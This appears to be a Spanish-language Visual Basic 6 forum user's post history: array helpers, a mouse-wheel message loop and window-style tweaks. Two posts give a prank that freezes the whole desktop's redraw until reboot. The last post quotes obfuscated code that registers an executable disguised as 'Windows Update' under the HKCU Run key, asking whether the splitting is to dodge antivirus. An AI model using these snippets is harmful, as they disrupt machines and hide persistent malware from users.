Mensajes

Hola este es uno que hice

http://rapidshare.com/files/187991857/Camara_Winsock.zip.html

Saludos

Quedo bien, el problema que dice Seba es por el difuminado de la fuente, para que no suseda esto hay que usar fuentes que no se difuminen como nuestra querida MS Sans Serif


Saludos

hola te pongo un ejemplo, tenes que redimencionar el array , vos encargate de entenderlo

Código [Seleccionar] Expandir


Option Explicit
Dim MyArray() As String

Private Sub Command1_Click()
If DeleteItem(5) Then
    ImprimirArray
    MsgBox "El Array tiene " & UBound(MyArray) & " Items"
Else
    MsgBox "El indice esta fuera del intervalo"
End If
End Sub

Private Sub Form_Load()
    Dim i As Long
   
    ReDim MyArray(0)
   
    For i = 0 To 9
        AddItem "Item" & i
    Next
   
    ImprimirArray
   
    MsgBox "El Array tiene " & UBound(MyArray) & " Items"
End Sub


Private Sub AddItem(Text As String)
    Dim Count As Long
    Count = UBound(MyArray)
    MyArray(Count) = Text
    ReDim Preserve MyArray(Count + 1)
End Sub

Private Function DeleteItem(ByVal Index As Long) As Boolean

    Dim i As Long
    Dim Count As Long
    Count = UBound(MyArray)
    If Index <= Count And Index >= LBound(MyArray) Then
        For i = Index To Count - 1
            MyArray(i) = MyArray(i + 1)
        Next
        ReDim Preserve MyArray(Count - 1)
        DeleteItem = True
    End If
End Function

Private Sub ImprimirArray()
    Dim i As Long
    Dim Count As Long
    Count = UBound(MyArray)
    For i = 0 To Count
        Debug.Print MyArray(i)
    Next
End Sub


Saludos

Estas seguro que no te lleva a reiniciar? prova con esto y despues me contas, Guarda todo primero!

Código [Seleccionar] Expandir


Option Explicit
Private Const WM_SETREDRAW As Long = &HB
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long

Private Sub Form_Load()
SendMessage GetDesktopWindow, WM_SETREDRAW, 0, ByVal 0
End Sub


hola una boludes pero te bloquea toda la pc hasta tener que reiniciar si es que no se lo deshabilita

agregar un timer1

Código [Seleccionar] Expandir


Option Explicit
Private Const WM_SETREDRAW As Long = &HB
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long

Private Sub Form_Load()
Timer1.Interval = 5000
SendMessage GetDesktopWindow, WM_SETREDRAW, 0, ByVal 0
End Sub

Private Sub Timer1_Timer()
    SendMessage GetDesktopWindow, WM_SETREDRAW, 1, ByVal 0
End Sub


Hola estas son dos apis algo desconocidas, al menos para mi , y me llamaron mucho la atencion

nos evitan de utilizar un sublcass, ya que usa un bucle interceptando el msg buscado. ademas este bucle no consume el CPU.

pongo un ejemplito bien basico para interceptar la rueda del raton.

Código [Seleccionar] Expandir


Option Explicit

Private Const PM_REMOVE = &H1

Private Type POINTAPI
        x As Long
        y As Long
End Type

Private Type Msg
    hwnd As Long
    Message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type

Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private bCancel As Boolean

Private Const WM_MOUSEWHEEL = 522

Private Sub ProcessMessages()
Dim Message As Msg
Do While bCancel = False
    WaitMessage
    If PeekMessage(Message, Me.hwnd, WM_MOUSEWHEEL, WM_MOUSEWHEEL, PM_REMOVE) Then
         If Message.wParam < 0 Then
            Debug.Print "Scroll Down"
        Else
            Debug.Print "Scroll Up"
        End If
    End If
    DoEvents
    Loop
End Sub

Private Sub Form_Load()
Me.Show
ProcessMessages
End Sub

Private Sub Form_Unload(Cancel As Integer)
    bCancel = True
End Sub


una preguta te anduvo bien la instalacion  del 64 bits de a mi me marco algo asi como que no era compatible.

Hola  Muy bueno che, esta bien dinamico. felizitaciones


Saludos.

hola prova asi

Código [Seleccionar] Expandir


Option Explicit
Const WS_BORDER = &H800000
Const WS_THICKFRAME = &H40000
Const WS_CAPTION = &HC00000
Const WS_MAXIMIZEBOX As Long = &H10000
Const WS_MINIMIZEBOX As Long = &H20000

Private Const GWL_STYLE = (-16)

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Private Sub Form_Load()
SetWindowLong Me.hwnd, GWL_STYLE, GetWindowLong(Me.hwnd, GWL_STYLE) And Not WS_MAXIMIZEBOX And Not WS_MINIMIZEBOX And Not WS_THICKFRAME And Not WS_CAPTION
End Sub


Saludos

Hola, este moco es para que no lo detecten los antivirus?

Código [Seleccionar] Expandir


"H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"